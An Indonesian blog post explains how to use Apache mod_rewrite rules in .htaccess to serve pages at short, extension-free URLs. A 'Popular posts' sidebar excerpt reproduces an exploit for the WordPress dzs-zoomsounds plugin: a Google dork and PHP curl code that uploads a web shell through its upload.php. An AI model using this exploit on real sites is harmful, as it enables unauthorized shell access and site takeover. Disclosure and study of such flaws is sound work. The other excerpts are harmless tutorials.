Skip to main content

Cara membuat simple link URL dengan htaccess

Okee langsung aja, kali ini saya akan membahas cara membuat simple link URL dengan .htaccess , kadang kita sering menemukan URL seperti ini http://localhost/ganteng pada awalnya memang saya juga heran kok bisa memanggil file tanpa extensi .html atau .php dan ternyata untuk membuat URL tersebut kita bisa menggunkan file .htaccess, oke sekarang coba kita lihat contoh dari dua URL di bawah ini.

http://localhost/ganteng
• http://localhost/path/ganteng.html

dari kedua URL tersebut mana yang menurut anda mudah di ingat dan enak di lihat ? pasti URL link yang pertama, dengan .htaccess dan module apache mod_rewrite, Anda bisa merubah URL sesuai keinginan anda, berikut ini adalah beberapa contoh penggunaan URL pada .htaccess.

RewriteEngine on
RewriteRule ^ganteng/$  /path/ganteng.html [L]
RewriteRule ^home/$ /home.php [L]
RewriteRule ^vit/$  /vit.html [L]
RewriteRule ^pri/$  /path/pri.htm [L]

hasil dari merubah URL di atas :

Baris ke 2 : http://localhost/path/ganteng.html → http://localhost/ganteng
Baris ke 3 : http://localhost/home.php → http://localhost/home
Baris ke 4 : http://localhost/vit.html → http://localhost/vit
Baris ke 5 : http://localhost/pri.html → http://localhost/pri

ganpang kan :D sekian dari saya, selamat mencoba :v

Comments

Popular posts from this blog

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...

How to Install CloudSim in Ubuntu (in 3 easy steps)

The contents of this DIY has been tested on Ubuntu 12.04 LTS x64 with CloudSim 3.0.3 beta and JDK8u11 x64. It should work similarly on other distros of Ubuntu and for different version of JDK as long as you use Java version 1.5 or newer. The text shown in RED in the DIY represents the values that will differ depending upon your JDK version and locations. CloudSim is a framework for modelling and simulating cloud computing infrastructure and services. In this DIY we will see how to install CloudSim in Windows easily and efficiently. A more detailed description, APIs and research papers related to CloudSim can be found here . Let us begin. Step 1: Setting up the Prerequisites 1. First of all we need to download the CloudSim and latest version of the Java Development Toolkit (JDK). CloudSim can be found here . 2. CloudSim requires a working Java installation. So, open up a terminal and run the following 1 sudo add-apt-repository ppa:webupd8team/java 2 sudo apt-get...

How To Add or Remove System Icons From The Kali Linux Desktop

When Kali Linux is started, there are always one or more system icons on the desktop. “Computer” is usually a default icon. However, some people might like to remove this icon and/or add other icons like the famous “Trash” icon. All the other tutorials will tell you to use the Linux, “gconfig-editor,” but Kali Linux does not have this system editor! I believe I am the only one who knows of a way to do this, so let me share my knowledge in this simple tutorial. Step one: Start and login to Kali Linux using your account or the “root” account. Step two: Open the main menu. Hover your mouse on “System Tools,” and click on “dconf Editor.” After a few seconds, the dconf Editor will open. Now all you have to do is browse to the correct category and set the options. Step three: When the dconf Editor window opens, click on the plus sign next to “org” (located in the left pane). Step four: Now click the plus sign next to “gnome.” Step five: Scroll down the list in the left pan...